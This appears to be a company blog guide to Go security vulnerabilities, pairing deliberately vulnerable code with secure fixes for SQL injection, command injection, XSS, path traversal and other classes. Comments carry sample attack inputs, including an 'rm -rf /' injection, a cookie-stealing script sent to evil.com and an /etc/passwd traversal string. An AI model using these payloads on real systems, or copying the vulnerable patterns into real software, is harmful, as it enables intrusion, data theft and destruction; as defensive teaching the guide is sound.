Are your Go applications truly secure? With 9 new CVEs reported in 2025 alone and an average severity score of 6.5, Golang vulnerabilities pose a significant threat to production systems worldwide.
Go (Golang) has become the backbone of cloud-native infrastructure, powering critical systems from Docker to Kubernetes. However, its popularity makes it an attractive target for attackers. This comprehensive guide covers the most critical Golang security vulnerabilities, their associated CVEs, and battle-tested best practices to protect your Go applications from common Golang security vulnerabilities.
What you'll learn:
- Current CVE landscape for Golang (2024-2025);
- 10 critical vulnerability categories with code examples;
- Secure coding patterns to prevent each vulnerability;
- Essential security tools and scanning techniques.
>> You may be interested in: 6 Common API Vulnerabilities and Strategies to Prevent Them
Recent Golang CVE Landscape (2024-2025)
Understanding the current Golang security vulnerabilities threat landscape is essential for prioritizing security efforts. The Go vulnerability database tracks all known Golang CVE issues affecting the standard library and popular packages.
Standard Library CVEs:
| CVE ID | Component | Vulnerability | Severity |
|---|---|---|---|
| CVE-2025-61724 | net/textproto | DoS via CPU exhaustion | High |
| CVE-2025-58183 | archive/tar | Memory exhaustion attack | High |
| CVE-2025-58186 | net/http | Cookie parsing memory consumption | Medium |
| CVE-2025-58185 | encoding/asn1 | Malformed DER memory exhaustion | High |
| CVE-2024-34155 | go/parser | Stack exhaustion in Parse | High |
| CVE-2024-34156 | encoding/gob | Stack exhaustion in Decoder | High |
| CVE-2024-34158 | go/build | Stack exhaustion vulnerability | High |
Third-Party Package CVEs:
| CVE ID | Package | Issue |
|---|---|---|
| CVE-2024-27289 | pgx PostgreSQL driver | SQL Injection |
| CVE-2025-52881 | opencontainers/runc | Container escape |
| CVE-2025-64513 | Milvus | Authentication bypass |
| CVE-2025-68156 | expr-lang/expr | DoS via recursion |
Common Golang Securtiy Vulnerabilities
In this part, I'll mention common vulnerabilities along with their best practices to avoid. But, before implementing these security practices, ensure you have Go 1.21+ installed (latest security patches).
SQL Injection
SQL injection remains one of the most dangerous vulnerabilities, allowing attackers to access, modify, or delete database content.
Developers often fall into this trap when trying to build dynamic queries. Using functions like fmt.Sprintf() to plug variables into a query string bypasses the driver's ability to "escape" dangerous characters.
The vulnerable pattern:
// VULNERABLE - Never do this!
func getUser(db *sql.DB, userID string) (*User, error) {
query := "SELECT * FROM users WHERE id = " + userID
row := db.QueryRow(query)
// Attacker can inject: "1 OR 1=1; DROP TABLE users;--"
return scanUser(row)
}
The secure pattern:
// SECURE - Use parameterized queries
func getUser(db *sql.DB, userID string) (*User, error) {
query := "SELECT id, name, email FROM users WHERE id = ?"
row := db.QueryRow(query, userID)
return scanUser(row)
}
// SECURE - Use prepared statements for repeated queries
func getUsersPrepared(db *sql.DB, userIDs []string) ([]*User, error) {
stmt, err := db.Prepare("SELECT id, name, email FROM users WHERE id = ?")
if err != nil {
return nil, err
}
defer stmt.Close()
var users []*User
for _, id := range userIDs {
row := stmt.QueryRow(id)
user, err := scanUser(row)
if err != nil {
continue
}
users = append(users, user)
}
return users, nil
}
Best practices:
- Always use parameterized queries with placeholders (
?or$1); - Consider using ORMs like GORM or sqlx with built-in protection;
- Validate input types before database operations;
- Apply principle of least privilege to database accounts.
Command Injection Attacks
Command injection allows attackers to execute arbitrary system commands, potentially leading to complete server compromise.
In Go, this occurs when an application passes unvalidated user input to system shells or execution functions. Since Go is often used for cloud-native tools and system utilities, it frequently interacts with the underlying OS, increasing the attack surface for this specific threat.
The vulnerable pattern:
// VULNERABLE - User input in shell command
func processFile(filename string) error {
cmd := exec.Command("sh", "-c", "cat "+filename+" | wc -l")
// Attacker input: "file.txt; rm -rf /"
return cmd.Run()
}
The secure pattern:
// SECURE - Pass arguments separately
func processFile(filename string) error {
// Validate filename first
if !isValidFilename(filename) {
return errors.New("invalid filename")
}
// Use exec.Command with separate arguments
cmd := exec.Command("wc", "-l", filename)
return cmd.Run()
}
// SECURE - Use allowlist validation
func executeCommand(cmdName string, args []string) error {
allowedCommands := map[string]bool{
"ls": true,
"cat": true,
"wc": true,
"grep": true,
}
if !allowedCommands[cmdName] {
return errors.New("command not allowed")
}
cmd := exec.Command(cmdName, args...)
return cmd.Run()
}
func isValidFilename(name string) bool {
// Only allow alphanumeric, dots, dashes, underscores
matched, _ := regexp.MatchString(`^[a-zA-Z0-9._-]+$`, name)
return matched && !strings.Contains(name, "..")
}
Best practices:
- Never concatenate user input into shell commands;
- Use
exec.Command()with separate arguments array; - Implement strict allowlists for permitted commands;
- Validate and sanitize all filenames and paths.
Cross-Site Scripting (XSS)
XSS attacks can:
- Session Hijacking: Stealing
document.cookieto take over user accounts. - DOM Manipulation: Phishing for credentials by injecting fake login forms.
- Malware Distribution: Redirecting users to malicious sites or executing browser-based exploits.
XSS occurs when an application includes untrusted data in a web page without proper validation or escaping. While Go has tools to fight this, developers often bypass them for the convenience or by using the wrong library.
The vulnerable pattern:
// VULNERABLE - Direct HTML output
func greetHandler(w http.ResponseWriter, r *http.Request) {
name := r.URL.Query().Get("name")
// Attacker input: <script>document.location='<http://evil.com/steal?c='+document.cookie></script>
fmt.Fprintf(w, "<h1>Hello, %s!</h1>", name)
}
The secure pattern:
import (
"html/template"
"net/http"
)
// SECURE - Use html/template (auto-escapes)
var tmpl = template.Must(template.New("greet").Parse(`
<!DOCTYPE html>
<html>
<head><title>Greeting</title></head>
<body>
<h1>Hello, {{.Name}}!</h1>
</body>
</html>
`))
func greetHandler(w http.ResponseWriter, r *http.Request) {
name := r.URL.Query().Get("name")
data := struct{ Name string }{Name: name}
w.Header().Set("Content-Type", "text/html; charset=utf-8")
tmpl.Execute(w, data)
}
// SECURE - Manual escaping when templates aren't suitable
import "html"
func apiResponse(w http.ResponseWriter, userInput string) {
safe := html.EscapeString(userInput)
// Use safe string in response
}
Best practices:
- Always use
html/templatepackage for HTML output (auto-escapes by default); - Never use
text/templatefor HTML content; - Implement Content-Security-Policy (CSP) headers;
- Validate and sanitize all user inputs on the server side.
Path Traversal
Path traversal allows attackers to access files outside intended directories, exposing sensitive configuration files, source code, or credentials.
This happens when an application uses user-supplied input to build a file path without sufficient validation. An attacker can use special sequences, like ../ (dot-dot-slash), to move up the intended directory and reach sensitive files on the server.
The vulnerable pattern:
// VULNERABLE - Direct path concatenation
func serveFile(w http.ResponseWriter, r *http.Request) {
filename := r.URL.Query().Get("file")
// Attacker input: "../../../etc/passwd"
content, _ := os.ReadFile("/uploads/" + filename)
w.Write(content)
}
The secure pattern:
import (
"errors"
"os"
"path/filepath"
"strings"
)
// SECURE - Validate and sanitize paths
func serveFile(w http.ResponseWriter, r *http.Request) error {
filename := r.URL.Query().Get("file")
// Clean the path and get base name only
cleanName := filepath.Base(filepath.Clean(filename))
// Reject any path traversal attempts
if strings.Contains(filename, "..") {
return errors.New("invalid path")
}
// Construct full path within allowed directory
basePath := "/uploads"
fullPath := filepath.Join(basePath, cleanName)
// Verify the resolved path is still within base directory
if !strings.HasPrefix(fullPath, basePath) {
return errors.New("path traversal detected")
}
content, err := os.ReadFile(fullPath)
if err != nil {
return err
}
w.Write(content)
return nil
}
// SECURE - Use allowlist for file access
func serveAllowedFile(w http.ResponseWriter, filename string) error {
allowedFiles := map[string]string{
"report": "/uploads/report.pdf",
"config": "/uploads/config.json",
"readme": "/uploads/readme.txt",
}
path, ok := allowedFiles[filename]
if !ok {
return errors.New("file not found")
}
content, err := os.ReadFile(path)
if err != nil {
return err
}
w.Write(content)
return nil
}
Best practices:
- Use
filepath.Clean()andfilepath.Base()to sanitize paths; - Always validate that resolved paths remain within allowed directories;
- Implement allowlists for accessible files when possible;
- Use chroot or containerized environments for file operations.
Race Condition
Race conditions can lead to data corruption, security bypasses, and unpredictable application behavior in concurrent Go applications. When two or more goroutines access the same memory location concurrently, and at least one of the accesses is a write, this vulnerability happens.
In a security context, this often leads to Time-of-Check to Time-of-Use (TOCTOU) bugs, where a security check (like "Does this user have enough money?") passes, but the state changes before the action (the withdrawal) is completed.
The vulnerable pattern:
// VULNERABLE - Unsynchronized shared state
var balance int = 1000
func withdraw(amount int) bool {
if balance >= amount {
// Race condition: another goroutine might modify balance here
balance -= amount
return true
}
return false
}
func main() {
// Two concurrent withdrawals can both succeed
go withdraw(800)
go withdraw(800)
// Result: balance could be -600 (double withdrawal)
}
The secure pattern:
import (
"sync"
"sync/atomic"
)
// SECURE - Using mutex
type Account struct {
mu sync.Mutex
balance int
}
func (a *Account) Withdraw(amount int) bool {
a.mu.Lock()
defer a.mu.Unlock()
if a.balance >= amount {
a.balance -= amount
return true
}
return false
}
// SECURE - Using atomic operations for counters
type Counter struct {
value int64
}
func (c *Counter) Increment() {
atomic.AddInt64(&c.value, 1)
}
func (c *Counter) Value() int64 {
return atomic.LoadInt64(&c.value)
}
// SECURE - Using channels for coordination
func worker(jobs <-chan int, results chan<- int) {
for job := range jobs {
results <- process(job)
}
}
func process(n int) int {
return n * 2
}
Best practices:
- Always run tests with
raceflag:go test -race ./...; - Use
sync.Mutexorsync.RWMutexfor shared state protection; - Prefer channels for goroutine communication;
- Use
sync/atomicpackage for simple counters and flags.
Denial of Service (DoS)
DoS vulnerabilities allow attackers to exhaust server resources, making applications unavailable to legitimate users. Also, in auto-scaling cloud setups, a DoS attack can drive up costs by triggering excessive scaling.
DoS vulnerabilities typically result from a lack of defensive limits. Because Go can handle thousands of concurrent connections, developers often forget that each connection still consumes a slice of finite system resources.
The vulnerable pattern:
// VULNERABLE - Unbounded allocation
func processData(w http.ResponseWriter, r *http.Request) {
size, _ := strconv.Atoi(r.Header.Get("Content-Length"))
// Attacker sends Content-Length: 10000000000
data := make([]byte, size)
r.Body.Read(data)
}
// VULNERABLE - No timeout on HTTP server
func main() {
http.ListenAndServe(":8080", nil)
}
The secure pattern:
import (
"io"
"net/http"
"time"
)
const (
maxBodySize = 10 * 1024 * 1024 // 10MB
readTimeout = 10 * time.Second
writeTimeout = 30 * time.Second
maxHeaderBytes = 1 << 20 // 1MB
)
// SECURE - Limit request body size
func processData(w http.ResponseWriter, r *http.Request) {
// Limit the request body size
r.Body = http.MaxBytesReader(w, r.Body, maxBodySize)
data, err := io.ReadAll(r.Body)
if err != nil {
http.Error(w, "Request too large", http.StatusRequestEntityTooLarge)
return
}
// Process data...
_ = data
}
// SECURE - Configure server with timeouts
func main() {
server := &http.Server{
Addr: ":8080",
ReadTimeout: readTimeout,
WriteTimeout: writeTimeout,
MaxHeaderBytes: maxHeaderBytes,
Handler: http.DefaultServeMux,
}
server.ListenAndServe()
}
// SECURE - Limit recursion depth
func parseNested(data interface{}, depth int) error {
const maxDepth = 100
if depth > maxDepth {
return errors.New("maximum nesting depth exceeded")
}
switch v := data.(type) {
case map[string]interface{}:
for _, val := range v {
if err := parseNested(val, depth+1); err != nil {
return err
}
}
case []interface{}:
for _, val := range v {
if err := parseNested(val, depth+1); err != nil {
return err
}
}
}
return nil
}
Best practices:
- Always set
ReadTimeout,WriteTimeouton HTTP servers; - Use
http.MaxBytesReaderto limit request body sizes; - Implement rate limiting for API endpoints;
- Set maximum recursion depths for parsing operations.
Insecure Cryptography
Weak cryptographic implementations can expose sensitive data, compromise user privacy, and violate compliance requirements.
In Go, the standard library is powerful but unopinionated. It provides access to legacy algorithms like MD5 and SHA1 for compatibility reasons, but using them for security purposes (like password storage) is a major vulnerability.
The vulnerable pattern:
// VULNERABLE - Weak hashing
import "crypto/md5"
func hashPassword(password string) string {
hash := md5.Sum([]byte(password))
return fmt.Sprintf("%x", hash)
}
// VULNERABLE - Hardcoded secrets
const apiKey = "sk_live_abc123xyz"
The secure pattern:
import (
"crypto/rand"
"encoding/base64"
"os"
"golang.org/x/crypto/bcrypt"
)
// SECURE - Use bcrypt for password hashing
func hashPassword(password string) (string, error) {
bytes, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)
return string(bytes), err
}
func checkPassword(password, hash string) bool {
err := bcrypt.CompareHashAndPassword([]byte(hash), []byte(password))
return err == nil
}
// SECURE - Generate cryptographically secure random tokens
func generateToken(length int) (string, error) {
bytes := make([]byte, length)
if _, err := rand.Read(bytes); err != nil {
return "", err
}
return base64.URLEncoding.EncodeToString(bytes), nil
}
// SECURE - Load secrets from environment
func getAPIKey() string {
key := os.Getenv("API_KEY")
if key == "" {
panic("API_KEY environment variable not set")
}
return key
}
Best practices:
- Use
bcryptorargon2for password hashing (never MD5/SHA1); - Use
crypto/randfor random number generation (nevermath/rand); - Store secrets in environment variables or secret management systems;
- Rotate cryptographic keys regularly.
Authentication and Session
Authentication flaws lets attackers to impersonate users, access sensitive data, and perform unauthorized actions. These vulnerabilities occur when an application fails to properly verify a user's identity or fails to protect the session token that proves the user is logged in.
The vulnerable pattern:
// VULNERABLE - Predictable session IDs
func createSession() string {
return fmt.Sprintf("session_%d", time.Now().Unix())
}
// VULNERABLE - Missing authentication check
func adminHandler(w http.ResponseWriter, r *http.Request) {
// No authentication check!
w.Write([]byte("Admin panel"))
}
The secure pattern:
import (
"crypto/rand"
"encoding/base64"
"net/http"
"time"
)
// SECURE - Cryptographically random session IDs
func createSession() (string, error) {
b := make([]byte, 32)
if _, err := rand.Read(b); err != nil {
return "", err
}
return base64.URLEncoding.EncodeToString(b), nil
}
// SECURE - Authentication middleware
func authMiddleware(next http.HandlerFunc) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
session, err := r.Cookie("session_id")
if err != nil || !isValidSession(session.Value) {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
next(w, r)
}
}
// SECURE - Secure cookie configuration
func setSessionCookie(w http.ResponseWriter, sessionID string) {
http.SetCookie(w, &http.Cookie{
Name: "session_id",
Value: sessionID,
Path: "/",
HttpOnly: true, // Prevents JavaScript access
Secure: true, // HTTPS only
SameSite: http.SameSiteStrictMode,
MaxAge: 3600, // 1 hour
})
}
func isValidSession(sessionID string) bool {
// Validate against session store
return sessionStore.Exists(sessionID)
}
Best practices:
- Generate session IDs with
crypto/rand - Set
HttpOnly,Secure, andSameSiteflags on cookies - Implement session expiration and rotation
- Use authentication middleware for protected routes
Insecure Deserialization
Insecure deserialization can lead to remote code execution, denial of service, and authentication bypasses. This vulnerability arises when an application takes untrusted data and uses it to reconstruct an object or data structure.
Although Go is generally safer than languages like Java or Python (which can trigger automatic code execution during deserialization), it is still prone to logic flaws and resource exhaustion.
The vulnerable pattern:
// VULNERABLE - Deserializing untrusted data without validation
import "encoding/gob"
func loadUserData(data []byte) (*User, error) {
var user User
decoder := gob.NewDecoder(bytes.NewReader(data))
// No validation of data source or structure
err := decoder.Decode(&user)
return &user, err
}
The secure pattern:
import (
"encoding/json"
"errors"
)
type User struct {
ID int `json:"id"`
Username string `json:"username"`
Email string `json:"email"`
Role string `json:"role"`
}
// SECURE - Validate after deserialization
func loadUserData(data []byte) (*User, error) {
var user User
// Use JSON with explicit struct mapping
if err := json.Unmarshal(data, &user); err != nil {
return nil, errors.New("invalid data format")
}
// Validate deserialized data
if err := validateUser(&user); err != nil {
return nil, err
}
return &user, nil
}
func validateUser(u *User) error {
if u.ID <= 0 {
return errors.New("invalid user ID")
}
if len(u.Username) < 3 || len(u.Username) > 50 {
return errors.New("invalid username length")
}
if !isValidEmail(u.Email) {
return errors.New("invalid email format")
}
// Validate role against allowlist
validRoles := map[string]bool{"user": true, "admin": true, "moderator": true}
if !validRoles[u.Role] {
return errors.New("invalid role")
}
return nil
}
Best practices:
- Prefer JSON over
gobfor external data; - Always validate deserialized data against expected schemas;
- Implement strict type checking and value validation;
- Use allowlists for enum-like fields.
Logging and Error Handling
Improper error handling can leak sensitive information to attackers and make debugging difficult. These vulnerabilities occur when an application reveals internal implementation details (like file paths, stack traces, or database schemas) in response to an error, or when it writes sensitive user data (like passwords or PII) into plain-text log files.
The vulnerable pattern:
// VULNERABLE - Exposing internal errors
func loginHandler(w http.ResponseWriter, r *http.Request) {
user, err := authenticate(r.FormValue("username"), r.FormValue("password"))
if err != nil {
// Exposes database details to attacker
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
}
// VULNERABLE - Logging sensitive data
func processPayment(card CreditCard) {
log.Printf("Processing payment for card: %s", card.Number)
}
The secure pattern:
import (
"log"
"net/http"
)
// SECURE - Generic user-facing errors, detailed internal logging
func loginHandler(w http.ResponseWriter, r *http.Request) {
user, err := authenticate(r.FormValue("username"), r.FormValue("password"))
if err != nil {
// Log detailed error internally
log.Printf("Authentication failed: %v", err)
// Return generic message to user
http.Error(w, "Authentication failed", http.StatusUnauthorized)
return
}
// Continue with authenticated user...
_ = user
}
// SECURE - Mask sensitive data in logs
type CreditCard struct {
Number string
Expiry string
CVV string
}
func (c CreditCard) MaskedNumber() string {
if len(c.Number) < 4 {
return "****"
}
return "****-****-****-" + c.Number[len(c.Number)-4:]
}
func processPayment(card CreditCard) {
log.Printf("Processing payment for card: %s", card.MaskedNumber())
}
// SECURE - Structured error types
type AppError struct {
Code int
Message string
Err error
}
func (e *AppError) Error() string {
return e.Message
}
func (e *AppError) Unwrap() error {
return e.Err
}
func NewAppError(code int, message string, err error) *AppError {
return &AppError{Code: code, Message: message, Err: err}
}
Best practices:
- Never expose internal error messages to users;
- Mask or redact sensitive data in logs;
- Use structured logging with appropriate log levels;
- Implement custom error types for better error handling.
>> Explore more: 10 Best Logging Libraries for Golang Developers
Essential Security Tools
- Vulnerability Scanning
# Install govulncheck
go install golang.org/x/vuln/cmd/govulncheck@latest
# Scan your project
govulncheck ./...
# JSON output for CI/CD
govulncheck -json ./...
- Race Condition Detection
# Run tests with race detector
go test -race ./...
# Build with race detector (for testing)
go build -race -o myapp ./cmd/myapp
- Static Analysis
# Built-in vet tool
go vet ./...
# Install gosec (security-focused linter)
go install github.com/securego/gosec/v2/cmd/gosec@latest
# Run security analysis
gosec ./...
# GitHub Actions example
name: Security Scan
on: [push, pull_request]
jobs:
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Set up Go
uses: actions/setup-go@v5
with:
go-version: '1.22'
- name: Run govulncheck
uses: golang/govulncheck-action@v1
- name: Run gosec
uses: securego/gosec@master
with:
args: ./...
Security Checklist
| Category | Best Practice | Tool |
|---|---|---|
| Dependencies | Keep Go and packages updated | go get -u, govulncheck |
| SQL | Use parameterized queries only | Code review |
| Commands | Never concatenate user input | gosec |
| HTML | Use html/template package | Code review |
| Files | Validate paths with filepath | gosec |
| Concurrency | Run tests with -race flag | go test -race |
| HTTP | Set timeouts and body limits | Code review |
| Secrets | Use environment variables | gosec |
| Errors | Don't expose internal errors | Code review |
| Crypto | Use bcrypt, crypto/rand | gosec |
Conclusion
Protecting against Golang security vulnerabilities requires a proactive, multi-layered approach. By understanding these 10 critical Golang CVE categories and implementing the secure coding patterns provided, you can significantly reduce your Go application's attack surface and prevent common Golang security vulnerabilities.
>>> Follow and Contact Relia Software for more information!
- golang
- coding
